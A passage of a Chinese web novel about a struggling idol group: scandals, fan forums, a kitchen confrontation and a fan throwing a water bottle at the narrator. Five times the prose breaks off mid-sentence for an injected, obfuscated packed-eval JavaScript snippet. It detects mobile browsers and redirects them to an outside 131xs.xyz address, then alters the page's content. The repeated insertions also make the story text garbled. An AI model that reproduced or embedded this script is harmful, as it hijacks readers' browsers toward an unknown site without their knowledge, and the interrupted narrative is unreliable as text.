论坛的关注点又被部分拉回到了酒吧事件本体上,隐身的竺明若不再成功隐身,有恋爱嫌疑的宁郁寒被逐渐洗成了轻一点的私联……接下来就是竺明若“粉丝”的入场时刻。 蓝鸢低头看了看和沈艾初的聊天窗里,对方发过来的截图,迟疑了片刻打出回复。 迟筝: 【这是任淮相关的瓜诶,你怎么吃得这么没有心理负担?】 小艾: 【他对别人怎样和我对他的态度没有关系。】 【我都知道呢,小圆你放心。】 蓝鸢垂了垂眼。 他不知道沈艾初想让自己“放心”什么,但他觉得沈艾初早晚会被任淮坑一个大的。蓝鸢如此想,也如此好心回复了一句。 小艾: 【到那一天再说吧。】 【我想过呢。】 迟筝: 【真是若无其事的flag。】 【恋哥癖就这么没救。】 小艾: 【不要给自己发回旋镖。】 蓝鸢一顿,光速打下了“祁心忱人特别好特别善良特别真心能不能不要把他和渣男相提并论谢谢你”,接着听到沈艾初在旁边很轻地笑了一声,并给他回了一句“终于承认你也是恋哥癖了吧”。 怎么这人今天像是突然不记得他有把柄在自己身上了啊?蓝鸢感到疑惑,并思考沈艾初为什么突然转性了……虽然也转性地不是很彻底,而且仅限于在这个聊天框里,现实中的沈艾初对他还是很“尊敬”且小心翼翼。 而沈艾初的下一句话也在他的意料之外。 小艾: 【所以小圆】 【你觉得靠金主上位抢走朋友排名的人是绝对的好人吗】 迟筝: 【不是。】 【但这和我无关,也和我们之前说的事情无关。】 蓝鸢感觉自己也不太能完全明白沈艾初的心理活动。 所以他发完这句,选择先放下对这个人的深入思考,转而去关注截图本身——直到今天中午,截图中说话的那个人,在网友的舆论中尚且只是“竺明若的一个超话等级很高的老粉”,但在两小时前,大家扒出了她的全新身份。 也是拜祁心忱所赐,蓝鸢早就知道的身份——这是在目前论坛网友口中尚且还是“女朋友”的、估计不久就会被更进一步挖掘的、竺明若的那位隐婚对象。 隐婚对象发了微博,说其实任淮和宁郁寒才是平日里一同出入酒吧等营业场所的“酒肉朋友”……这词蓝鸢觉得有点耳熟,接着回想起宁郁寒本人也用过这个说法。 看来真是酒肉朋友。他想。 而在这句话之后,这人又说竺明若本人其实根本不会参与这些活动,只是任淮的固定搭子高考去了,所以才好心陪同了一次。接着她就放出了一些任淮和宁郁寒在各种营业场所出入的视频图像,看图上日期,大部分都在选秀期间。 祁心忱: 【她想说什么】 【她的24岁无能为力心思单纯但隐婚的失足少年老公虽然本人不愿意但是队友逼他去不然就要在接下来一年半高强度持续针对他吗】 蓝鸢在聊天框里直播现场的审判环节,祁心忱在远程发表评论意见;而网友们见到“全封闭选秀”的众所周知谎言被这么轻飘飘戳穿,虽然在意料之中,却依旧十分愤慨,加上证据确凿,又转回来审判起了宁郁寒和无处不在的任淮。 宁郁寒粉丝一着急,就开始问这个竺明若粉丝是什么人,平时线下没怎么见这号id,居然能拍到这种视频——有这种疑问的人多了起来,接着就是挖线索。 网友人多。祁心忱能挖出来的瓜,网友没道理挖不出来。 于是经纪人当着大家的面,举着手机打开屏幕问“这位是你女朋友吗”。 竺明若盯着屏幕看了几秒,最后出来了一句“和她只有过一面之缘”。 信誓旦旦,斩钉截铁,说得任淮在一边笑了出声。 被反复追问了几次,动用上了“我们都是同一阵线知道是什么情况才好处理舆论问题”这样的话术后,竺明若还是咬死不承认,于是这个话题就如此无疾而终。 蓝鸢觉得逼问不能这样,一对一才容易出效果,他甚至感觉大概率之后还有私下的谈话……但他又好像明白一定要大张旗鼓全员开会的缘由。 无非就是想借此警告其他人……但是有些人真的不是警告有用的。蓝鸢如此想着,忍住了将目光移向和自己还算朋友的叶游的冲动。 宁郁寒也还算“义气”,同样没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437707|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看叶游,只是目光在身边的任淮和竺明若身上来来去去,以及在被经纪人警告后低头假装忏悔认错。 而后续的发展也如同蓝鸢所预料般。 这次的会议主要是复盘这一天的所有舆论内容,将连续一天半都热闹非凡的论坛的帖子投屏到大屏幕一起阅读,看论坛怎么总结、又是怎么骂当事人骂Butterfly的,接着一项项询问几个当事人——其中有的事被承认,有的事被否认。 接着是平平无奇的舆论处理方案陈述,没有征求大家的意见,只是通知一般,一方面是带节奏,避重就轻选择承认一些否认一些,并且针对逛酒吧造成不良示范一事暂停几个当事人接下来半个月的营业和团队活动。 但Butterfly接下来半个月主要是排练,因此这就成了一点点聊胜于无的处罚。经纪人也没有明着警示他们什么该做什么不该做,就像真的只是简单的复盘会议。 不过可想而知的是,这场舆论对于糊团的影响将会持续下去。 刚刚大屏幕放出来的部分里,就已经有人在说糊团这个塌方速度已经比起随团有过之而无不及了,超越师兄团指日可待——下面有人说小塌不算塌期待糊团来点大的,有人反驳说现在谈恋爱都不算大塌了吗你圈标准真的越来越低了,也有人说做票团因为做票这事所以本身就是废墟是不可超越的。 说得好像我们团没做票一样。蓝鸢想,也这样打字。 祁心忱: 【你可以把这句话发给小艾看看】 【开玩笑的】 看到祁心忱的回复,蓝鸢低头笑了一声,顺手就真的将这句话转发给了沈艾初。 两秒钟后,沈艾初抬起手机,看了眼屏幕上的消息提醒……接着用惶恐不安带着点试探的微妙眼神看了蓝鸢好几遍,张了张嘴什么话都没说出来,最后低头给蓝鸢发了个猫猫道歉的表情包。 蓝鸢突然就开心了起来。 迟筝: 【我发了】 【他表情好有意思】 祁心忱: 【ovo】 ——但总之,这场审判会在在场九个人各异的心理活动中落下帷幕。 或许是因为预料到这种“开诚布公”的谈话,大概率会让队内关系在接下来一段时间变得微妙起来,于是散会的下一刻,蓝鸢戳了戳沈艾初,小声提醒:“说下安排。” “……各位,我们接下来一周的主要任务是继续准备第一张ep,”沈艾初顿了顿,大概是在紧急转动大脑,接着突然站起身,环顾了一圈四周,而后定下神来,像一个真正的队长那样开口,“今晚接下来的时间自由安排,明早七点在这里集合,然后一起去公司继续排练。” 他的话音落下,蓝鸢很配合地鼓掌支持,接着就看到自己的手机屏幕又亮了起来。 同时弹出来的是两条消息,一条是祁心忱的最新点评“在有些人的衬托下恋爱倒确实是小塌”,另一条是宁郁寒的、熟悉的、蓝鸢总觉得自己已经见过的那句……“有空可以聊两句吗”。 59. 无效澄清 看到宁郁寒的消息,蓝鸢本来弯起的嘴角又垂了下去。他心中有些不满,但还是很心平气和地打字,先回复了祁心忱的消息,再点开和宁郁寒的聊天框。 迟筝: 【今天不太有空哦。】 【明天晚上排练回来后可以吗?】 小郁哥哥: 【可以的可以的!】 【[狗狗欢呼.gif]】 怎么都这么喜欢用自己的动物塑表情包,有的人平时没感觉多在意粉圈人设,到这种环节突然就敬业起来了,蓝鸢心想。 他戳了戳可爱的小狗动图,心中念叨着“恶意卖萌”,接着点开宁郁寒的个人名片,将当初在镜头之下刻意改的昵称后两个字连同符号一并删掉,换成了平平无奇的“小郁”。 蓝鸢微信里给人的备注总共分为三种。 特别不熟的那种,比如因为特定的事件临时加的好友,往往是名字加上身份;稍微熟悉一点的就会用各种各样的昵称,比如Butterfly的六个队友、他在学校关系不错的几个同学,都在这个行列中。 前两周队里直播活动,组队玩游戏的失败惩罚是在镜头前展示对其他六个队友的备注。 与其他人的各式各样备注不同,当时蓝鸢展示的屏幕里,他对所有人的备注都是可爱的昵称——于是团粉欣喜若狂,蓝鸢的单推也在暗戳戳说他是重情重义对每个队友都一视同仁好的好小孩。 但其实如果是真的关系很好、或者很重要的人的话,蓝鸢其实更喜欢直接用孤零零的真名进行备注——在蓝鸢的个人观念里,真名才是最郑重的、最亲近的、最特别的称呼。 比如在很多年里,他对他亲哥的备注都是简单的“白珩”两个字。直到去年两个人彻底闹翻,蓝鸢觉得他们的关系再也不会有被修补的那天,这个备注才终于变成了“债主”。 * 结束高考的第二天,蓝鸢和队友们进行了一整天的排练。 他们排练的过程也处在摄像头的全天监控之下。等新歌发布之后,这些内容会被剪辑成花絮同步播放出去。 毕竟糊团赛后还没有进行什么大型的活动,如今Butterfly的粉丝尚且是没有出道就跑路的那部分秀粉,秀粉最喜欢的当然是舞台和排练舞台的过程。 高考前的那几天,蓝鸢其实已经将他们新EP的歌舞学了个大半——同样学了个大半的还有团里实力相对更出色的沈艾初和任淮,于是蓝鸢近期的主要工作其实是带叶游和宁郁寒练习。 这是蓝鸢主动提出的。一方面是他看到余光里的熟悉的叶游忘词忘动作、宁郁寒机器人跳舞,多少有些看不下去;另一方面是为了防止被同样实力不济的简旋安找上……虽说他觉得可能性并不大,因为简旋安还是会看眼色的。 不过赛时总归不比赛后,在各种外务上有的是昼夜颠倒的机会,没必要在准备新EP一事上也废寝忘食。 于是排练结束在晚上七点,成员们吃了晚饭,便一同回到宿舍。 “小圆,”蓝鸢刚在宿舍坐下来,还没两分钟,就看到沈艾初低头看了看手机,表情变得微妙而纠结,接着他像是迟疑了片刻,才转过来开口,“我今晚有些事要出去一趟,可能会很晚回来,会打扰到你睡觉吗?” 什么意思,蓝鸢想。他眨了眨眼,抬起头问:“如果我说会的话,你就不出去了吗?” 沈艾初陷入了诡异的片刻停顿,像是没想到蓝鸢会这么反问:“……还是会的,但是如果你会被打扰的话,那我回来了就睡沙发好了。” “……算了,你回来睡吧,不打扰,我现在睡眠质量比选秀那会好很多了,”蓝鸢叹了口气,想了想又问,“那位要见你?” 沈艾初眨眨眼,然后轻轻点头:“嗯。” “注意安全。”蓝鸢说,然后没有再说话。 实际上蓝鸢并不太明白沈艾初一定要勾搭一个“金主”的必要性——就算没有这些场外助力,沈艾初也是板上钉钉的出道位,这人看起来也不像真的有那个争C的事业心。 被公司坑了或者被胁迫的可能其实更大一点,蓝鸢如此想,他觉得沈艾初并不是什么本性很坏的人,只是有时候让人有些看不太懂。 具体体现为执着于一些不该执着的事,不在意一些本应在意的事。 在一些事上毫无下限,又在另一些事上遵守底线。 * ——而与之相反,宁郁寒这个人就很容易看懂。 宁郁寒这次还是约他在厨房见。 一回生二回熟。蓝鸢这次没有上回那么忙了,于是先是挪到冰箱边,不紧不慢地取了一瓶酸奶出来,插上吸管,才回头看向宁郁寒。 “你想说什么呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437708|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他问。 “我没有和任淮的站姐谈恋爱,是他太担心了,所以一直这么以为,”宁郁寒盯着他,以让蓝鸢有点意外的直截了当的态度说,“她确实私下联系过我,但我拒绝她了。” “哦,我明白了,”蓝鸢说,决定把沈艾初的话术抬出来,“但是无论是上次还是这次,你为什么要给我解释呢,我还不至于因为朋友的工作态度不够端正就疏远他呢。” 蓝鸢这话一出,宁郁寒明显愣住了片刻。 “不是,小圆,”他像是在思考话术一般,语气有些吞吞吐吐的,“我……我知道你的意思,但是我不希望你对我有这种,认为我做了本来没有做的事情的误解。” “我也明白,”蓝鸢对着他笑了起来,“不过我……” “你是不一样的!”宁郁寒目不转睛地盯着他,不知道在想什么,总之最后突然加大音量喊出来这么一句……接着他像是被自己的发言吓了一跳一般,慌忙补充道,“我的意思是,小圆你对我来说是非常重要的朋友,所以我……” “所以你对多少人说过这句话?”蓝鸢眨了眨眼,对宁郁寒此时此刻的情绪上头有些不明所以,于是他平淡而缓慢地打断宁郁寒,接着开口道,试图获取这段交流的主导权,“这句,‘不一样’?” * 迟筝: 【“你是第一个。”】 【他为什么会觉得我会相信啊?】 祁心忱: 【说不定真是呢。】 【可能之前还没有开发出这个话术,最近备战高考变聪明了。】 蓝鸢盯着屏幕上传来的发言笑了一声。 今晚的聊天从他的那句问题开始就已经超出了双方的预期。 听到那句话后,宁郁寒先是露出了非常震惊且恐慌的表情,接着是沉思,最后才深吸一口气,郑重地说出来了那句“你是第一个”。 “小郁,不要说这种话。”蓝鸢垂了垂眼,然后又笑了起来。只是他心中突然觉得有些烦躁,心想不会宁郁寒之后每一任曝光的时候都得来一次厨房谈话吧。 那也太吓人了。蓝鸢如此想着,大脑一冲动,决定干脆在此挑明一些事情:“……如果这话被那些深信你甜言蜜语的人知道的话,他们可能会伤心的。” 话音落下,宁郁寒的脸色肉眼可见变得惨白了起来。 60. 道歉与道歉 宁郁寒虽然傻,但也不至于傻到听不懂如此简单的言外之意。 看到他的表情,蓝鸢就知道,这人大概率已经猜到了……他那若干男友女友多少被自己发现了的事实。 “小圆……”宁郁寒犹豫着开口,语气骤然比平日里说话弱了好几分,“我……” 欲言又止。 “你什么?”蓝鸢歪了歪脑袋,语气带着一半的迷惑和一半的波澜不惊,“不要急,有话都可以慢慢说。都说过了,我不至于因为朋友的工作态度问题而远离这个人的。” 他猜宁郁寒是想要辩解。 只是蓝鸢都不知道宁郁寒能辩解什么,谈了两位数的男女朋友是事实,每时每刻脚踏多条船是事实,暗戳戳把自己当成他鱼塘里潜在的一条鱼也是事实,即使最后一条两个人从未挑明过、也都心知不会有什么正经的后续。 “……我不知道你知道什么、不知道什么,但是我总归是很对不起你的。”宁郁寒注视着他,最终憋出来这么一句话,“但我真的没办法控制自己对情感的渴望,我经常会觉得……特别孤独,会很需要陪伴。” 蓝鸢听得一愣一愣的。 宁郁寒家里的情况他有所了解——事实上,同Butterfly的队友们相比,这人已经勉强算是“正常家庭”的范畴了,只是父母工作都很忙,平日里几乎没时间管他,要说“缺爱”的话,倒也情有可原。 但实话说蓝鸢觉得自己也挺缺爱的,但他无论如何都想不到谈二十个恋爱来弥补这种主意。 “我能……理解其中的一部分,但只是很小的一部分,”蓝鸢想了想,最终还是选择了实话实说,“但我没办法说‘我觉得你做得没问题’这种话,作为朋友的话,我更建议你改过自新——但如果做不到的话,我也不可能威胁你,对吧?” “我本来也做得不对,我都知道,我对不起的人很多,”宁郁寒垂了垂眼,以一种蓝鸢意料之外的坦诚承认了这点,“但是小圆,有一句话是真的……即使如此,你和其他人也不一样。” 怎么又来一遍,这人到底想说什么。 蓝鸢如此想着,“嗯”了一声,又反问:“知道了,那你还有什么想说的吗?” “我不知道……”宁郁寒语气中带着点迷茫,在被蓝鸢定定地注视了一会后,又改口道,“我没有了。” “很好。”蓝鸢说,然后挥了挥手上的酸奶盒子,对着他笑了起来,“这个酸奶很好喝的,是小游新买回来的——你要不要试试看?” * 蓝鸢不知道宁郁寒在那天之后都想了什么——总之他自己是没多想的,只是在回一个人的宿舍后将这段对话当成了乐子讲给了祁心忱,再和这人一同吐槽了Butterfly的一群麻烦队友。 祁心忱: 【不过不得不承认的是】 【小郁这种还不算特别麻烦的,真麻烦的还在岁月静好呢。】 迟筝: 【对啊。】 【头疼qvq】 不过实话说,蓝鸢也说不准自己的队友里谁才是那个“最大的麻烦”——如果从他的立场来说的话当然是简旋安,如果他所知道的信息的完整的话。 但蓝鸢总隐隐约约觉得还有自己不知道的事。他这群队友的料并不难找,而且这种事根据经验,当你发现房子里出现一只蟑螂的时候…… 祁心忱: 【不要用这么可怕的比喻!qvq】 迟筝: 【问题不大,别忘了我们现在在北方呢。】 【这边的蟑螂据说是不会飞的,没有那么可怕。】 祁心忱: 【[小狐狸尖叫.gif]】 迟筝: 【你怎么也染上小动物表情包了ovo】 【比起这个我觉得还是我队友的黑料比较可怕TT】 体现为不仅数量充足、从吃瓜有趣的角度来看质量不低,而且还非常好挖掘。 ——第二天一早,在看到沈艾初套上一件不算薄的长袖外套、顺便把拉链拉到头就准备出门时,蓝鸢心想。 “小艾,”他上下打量了一遍沈艾初的ootd,然后开口道,“你知道现在外面就有30度,今天中午会到39度这件事吗?” “啊?”沈艾初扭过头看向蓝鸢,眨了眨眼,语气中好像有点实打实的茫然,“什么意思呀小圆?” 看起来是没睡醒,蓝鸢心想。 不过也正常,他都不知道沈艾初几点回来的,那肯定没有充足的时间让他“睡醒”。 “我的意思是,”蓝鸢如此想着,伸手很干脆地扯下了沈艾初的外套拉链,然后很随意地将它往下拽了拽,“小艾你别穿这么厚的衣服,会热的。” ——沈艾初呆滞地站在原地,仿佛因为蓝鸢的动作太快、所以什么都没有反应过来一般。接着不出所料,蓝鸢看到了……他本来藏在外套之下的,一些看起来很新的伤口和痕迹。 “……好歹换个防晒外套。”蓝鸢叹了口气,转身打开共用的衣柜,“你也不怕别人觉得你穿这么严实很奇怪?过会排练也不准备脱下来吗?” “……对不起。”沈艾初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437709|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨了眨眼,有些有气无力地道歉,“我找找看。” 蓝鸢又叹了口气,从衣柜里抽出自己的一件防晒外套穿上,而后将衣柜前的位置让给沈艾初。 迟筝: 【不知道为什么这些人都爱对我道歉】 【他们对不起的是我吗?】 祁心忱: 【人总是需要心理安慰的啦。你听听就差不多了,不要多想,想多了自己就不开心了。】 【毕竟真让他们去给粉丝道歉又不敢去了。】 迟筝: 【有道理】 【话说你不是说今天一早要去录音吗?还没有开始吗,为什么能这么快回我消息呀ovo】 祁心忱: 【录音老师来晚了qvq还在调试设备中ing】 【他给我说来的路上经过你们公司大楼,发现楼下站了很多人,所以停下来吃瓜,浪费了一点时间】 迟筝: 【?】 蓝鸢不知道该先说“你的录音老师这么没有上班的时间观念吗”,还是该先问“为什么站了很多人”……不过他很快发现,后者也不需要他提问了。 因为他们乘坐的车已经开到了公司楼下,而可喜可贺的是,这会估计并没有人关注他和沈艾初穿了什么衣服。 人群围绕在他们进停车场的必经之路上。 实际上,他们一般都会在公司的正门口下车,然后进去打卡上班——平日里公司楼下会有粉丝拍摄,但并不会太多,是可以接受的范围,走正门一方面方便、另一方面也算是给线下的粉丝透露“我今天上班了”的消息。 只是此时此刻…… 安保人员正在进行疏通工作,想要给Butterfly的两辆车开辟一条道路出来,而蓝鸢转过头,看见外面的那群人正对着他们喊什么。 车停了下来。 坐在前排的工作人员低头看了看手机,然后一通打字,最终转过头,看向身后的三个人:“……警戒线拉出来的区域宽度不够,车开不进去,还是只能在这里下车,下车之后跟着安保人员进楼,不要管这些来抗议的粉丝。” 宁郁寒说了声“好”,沈艾初感觉还没睡醒的样子,于是只点了点头。 而坐在最右手边的蓝鸢则负责行动。他在下一秒推开车门,新鲜的、炽热的空气伴随着好几声重叠的“竺明若退团”,一同在身边炸响。 他有些意外,于是微微抬起头——下一刻,一个白色的、高速移动的物体朝着他快速飞来,令人猝不及防。 蓝鸢睁大了双眼。 61. 三方混战 蓝鸢并不觉得自己是一个反应很快的人。 身后还有个沈艾初,所以蓝鸢出自本能的第一反应不是闪开,而是抬手去挡——不明的长条状物体竖着砸到他的手臂,蓝鸢非常费力地忍住突如其来的撞击疼痛,保证自己在人前不出现表情变形。 而与撞击声一并响起的,则是此起彼伏的呼喊。 “砸错人了砸错人了!” “是圆皇不是瑜姐夫!谁扔的啊!” “你们怎么回事啊怎么都不看清楚啊——” “故意的!就是故意的!” “筝宝——” 蓝鸢定了定神,幅度很轻地深吸一口气,而后茫然地眨眨眼,垂下视线。 冰冷而透明的液体一部分飞溅到了面部和头发上,更多的则顺着衣服和手指滑落,好在防水的防晒外套挡住了大部分攻击,也好在看起来无色无味无腐蚀性;脚边是一个看起来普普通通的矿泉水瓶,没有瓶盖,此刻空了一大半,正在地面上缓慢地滚动。 有粉丝好像打算冲上来,但被安保人员拦在了警戒线之外。 蓝鸢又等待了片刻,像是在思考或者做心理准备,接着才重新抬起头,面无表情地看向瓶子飞来的方向:“……这是什么水?” 扔瓶子的目标再好找不过。一个看起来有些呆滞的、仿佛处于状况外的粉丝,手上还拿着一个瓶盖。蓝鸢的视线余光瞥见刚才有人在推那个粉丝,但被旁边其他人拦住了。 “……就是矿泉水,普通的那种。”那人被蓝鸢提问,又被身边一大堆目光盯着,刚才的果断气势已经消失了大半,犹犹豫豫道,“不是什么奇怪的东西,没有毒性。” 蓝鸢心中长舒一口气。 他观察了对方的神色和语调,以及这人的同行者的反应,初步断定这是句实话——对方站在警戒线后的第一排,位置十分方便,大概率就是随手将手上的矿泉水瓶扔了过来。 只是……他又低头看了看还在滴水的外套,伸手抹掉沾在眼睫毛上的水珠,心想,今天的排练看来不会这么顺利了。 * Butterfly的排练显然不会因为蓝鸢遇到的小插曲而中止。 不过今天也没有什么特殊的行程,只是普通的排练日。 在蓝鸢被水瓶砸过、吓到了很多守在门口的粉丝后,秩序的维护便简单了不少——队友们成功进了大楼进行训练,而没有换洗衣服的蓝鸢则得再回一趟宿舍。 沈艾初提出与他一同回去——蓝鸢本来想拒绝,最终还是叹了口气答应了下来。 “小圆,我没有别的意思,”返程回去的路上,这人解释道,“我只是觉得有人陪着你比较好。” “我没有觉得你有别的意思。”蓝鸢这回倒是说了真心话……甚至他其实根本没有理解沈艾初的“其他意思”究竟想指代什么,也不太想花脑细胞理解。 他这会正在看手机。 等重新回到返程的车里,蓝鸢才看见祁心忱还给他发了几条消息。 祁心忱: 【说是昨天深夜竺明若结婚有孩子的事被扒出来了,现在有粉丝在楼下抗议想让他退团】 【人聚集多了难免会混乱,过会下车小心一点,一定要注意安全哦。】 发晚了一步。蓝鸢想。 但凡当时他先看一眼手机而不是直接推车门,现在可能也不会坐在回宿舍的车上——虽说并不一定提醒了就管用,但总归会让蓝鸢不至于现在如此后悔。 他轻轻叹了口气。 祁心忱这会应该真的在录音,估计并不会第一时间知道楼下混乱的消息,这本质上没有严重后果,蓝鸢也不打算打搅他,而是选择了先看看论坛有没有说什么。 不出所料的是,半小时前发生的事件已经在论坛吵了起来,如同蓝鸢所预料的一般,目前的局势是三方混战。 蓝鸢随便挑了个高楼点进去。 * 【主题】所以确认了吗,给太后扔瓶子的是艾皇粉? 感觉你糊又要大战了… 3L 确实确认了吧,主页都已经被找出来了,线下很多人互相都认识 那人主页已经只允许互关评论了 5L bdjw为什么艾皇粉会出现在这个场合 8L 其实今天上午在楼下的每家粉丝都有,因为出来指认这个艾皇粉的就是一个老三的粉 现场也有太后粉,太后刚被砸就有线下的太后粉粉见开始骂公司骂队友粉了 10L 怎么还是老三的粉,让这件事变得更好笑起来了 11L 快别好笑了,马上太后粉就来出警了太后都被水瓶子砸了论坛还搁这看笑话呢 13L 啊啊啊对不起我没有说过那句话,我立刻申删 17L 瓶子是艾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437710|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇粉扔的让这件事复杂了起来,本来是各家粉丝一致针对老七的结果现在变成12互打有人又悄悄隐身了 19L 糊老七真是好稳定的大事隐身体质 21L 还叫什么糊老七,都说了尊称一句瑜姐夫 前两天如果不是瑜姐跳出来的话姐夫那会就隐身了 22L 这回姐夫并非隐身,只是太糊了加上昨晚大批量脱粉中,老一老二家粉丝骂对面都得带上他一句的 毕竟结婚还好,有孩子也太炸裂了 23L 结婚真的还好吗 24L 这回艾皇粉对太后泼水本来就已经在道德低地了结果还有艾皇小粉丝跳出来暗戳戳说泼得好,太后粉不趁着这个机会打个大的都配不上赛时的超绝战斗力了 只能说姐夫还是运气太好了,需要隐身的时候总有人来个大的,失算也是输在自己人身上的 27L ?疯了吧,艾皇粉是决赛后被太后粉按着打没打够还是这么快就光速失忆了啊?真的有人这么说吗,真不是反串吗 29L 虽然看起来很像但确实不是,说这话那人的主页还有赛时给艾皇的投票记录 而且赛前就在骂太后了,好像还是太后唱见时期的对家粉 33L 顺便一提现在太后粉开始指责说艾皇粉可能本来就是想砸太后了,想砸姐夫砸错了只是一个幌子 36L 虽然感觉她们确实恨老二但是艾皇粉不至于这么明显吧 40L 话是这么说的不过太后和姐夫这两人有什么共同点吗我觉得把太后当成姐夫实在是有点荒谬了 如果说把艾皇认成太后都更情有可原一点毕竟这俩体型和发型都差不多 45L 艾皇粉给的借口是姐夫昨天下班的时候穿了件绿色外套,太后今天上班也穿了件绿色外套,手伸出来的时候看错了 但是我觉得非常没有说服力,都到线下去了砸个水瓶子急那一两秒钟吗?看都不看清万一砸到自家正主了呢 绿色外套,蓝鸢心想,不是为了沈艾初的话,他怎么可能穿这件绿色外套出来。 如此想着,他心中有些愤愤不平,于是抱着一种“我不好过也不能让你好过”的心态,动了动手指,顺手将这个帖子转发给了坐在旁边的沉默的沈艾初。 62. 探班 不出所料,沈艾初惶恐地浏览完帖子,做的第一件事还是给他道歉。 实话说,听沈艾初道歉的次数太多,蓝鸢发现自己的心态已经发生了些许改变——一开始还有点不耐烦,现在更多的是觉得有趣了,有种想看看这人到底能道歉多频繁的奇妙心态在。 “嗯,”蓝鸢于是点了点头说,“听到你道歉了。” 沈艾初顿了顿,最终说了声“好”,估计本身也没指望从蓝鸢这里听到一句“没关系”。 蓝鸢当然也没准备说。 * 这一路堵车并不是很严重。 换了身衣服回到公司,也远远没到午饭时间,于是蓝鸢和沈艾初回去和队友们继续排练。 蓝鸢只有两件防晒外套,这会回去快速洗了个澡,接着换上了橙色……祁心忱应援色的另外一件。 之前那种潮湿的不舒服的触感已然消失,还没开始活动,是难得地整个人干燥清爽而舒适的时段。 不过虽说受害者蓝鸢本人在体感上已经舒服了,互联网上关于这事的节奏远远没到停止的时间。 即使这场小插曲并没有对他造成实质性的伤害,但“如果那不是矿泉水是别的东西怎么办”的假设,已经足够让他的粉丝一边冲公司一边打队友粉了。 而蓝鸢不打算干涉,无论是自己粉丝骂队友还是骂公司他都不打算干涉。 不是任何节奏都需要本人出来调停,况且自私一点说……作为当事人,他也很害怕这个“如果”,比任何人都害怕。 “不用你出来说,”听他这么直说,沈艾初垂了垂眼,小声回答道,“这是我应该承担的节奏,我会好好接受的。” “你怎么还委屈上了。”蓝鸢抬眼看他,“我这么说让你很委屈吗?” “……没有的。”沈艾初稍微抬了抬音量,但还是提不起什么气势,“我没有这个意思——你粉丝骂我是应该的,我本来也做了很多对不起你的事。” 这人找宁郁寒学的话术吗?蓝鸢差点想把这句话问出来,最终还是忍住了。 “我是什么很可怕的人吗,”他只是叹了口气,非常无奈地说,“小艾同学?” “……是啊。”沈艾初说,出口的居然看起来是一句实话,“你就是很可怕呀小圆。” 蓝鸢这回是真的从沈艾初的语气中听出了名为“委屈”的情绪。于是他低下头,忍不住又笑了出声。 * ——不过,在蓝鸢从跟沈艾初的对话中寻找乐趣的同时,他也在看网上瞬息万变的节奏。 到上午排练的间隙,粉丝们已经将节奏往前推进了几个节点。目前来说,以蓝鸢粉丝为首的好几家粉丝正在进行联合维权活动,说Butterfly发布的所谓“停工惩罚”实际上根本什么作用都没有,违规成员依旧在进行集体活动。 于是名为“让失格偶像得到应有惩罚”的号召席卷而来,一群人喊着不要假停工敷衍粉丝;但也有一群人说着到时候还得一起打歌,现在不练之后怎么办。 对此,蓝鸢大粉的回答是“连带着那俩赛时酒吧恋爱咖一起都滚出去最好”。 这种对违规成员的抵制有Dreams的前车之鉴。 当时祁心忱和顾洛知两家粉丝的抵制活动勉强获得了成功,Dreams以“二人形式”参与了很多活动。有这个“成功案例”在前,粉丝们都对此很有信心。 不过蓝鸢暂时并不觉得能这么快成功。 毕竟Dreams暴雷没有他们这么早——限定团后期本身就散,但是Butterfly目前这个第一张EP还没发的时间点有些为时过早。蓝鸢估计等第一张EP之后他们团就很难以七人制活动了,不过这张EP总得一起做完。 于是意料之中地,公司正在装死,而Butterfly的练习室里,队长沈艾初正在小心翼翼维持着表面的和平。 水下暗流涌动,水上无事发生,大家甚至能在练习室里开开玩笑。 这份表面的平静一直持续到了十一点半。 意料之外地,练习室的房门被敲响。 最靠近门的沈艾初跑过去开门——蓝鸢的视线和注意力不由自主跟随着一并旋转,接着便听到了沈艾初喊了一声“祁老师好”,接着是一句格外熟悉的“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 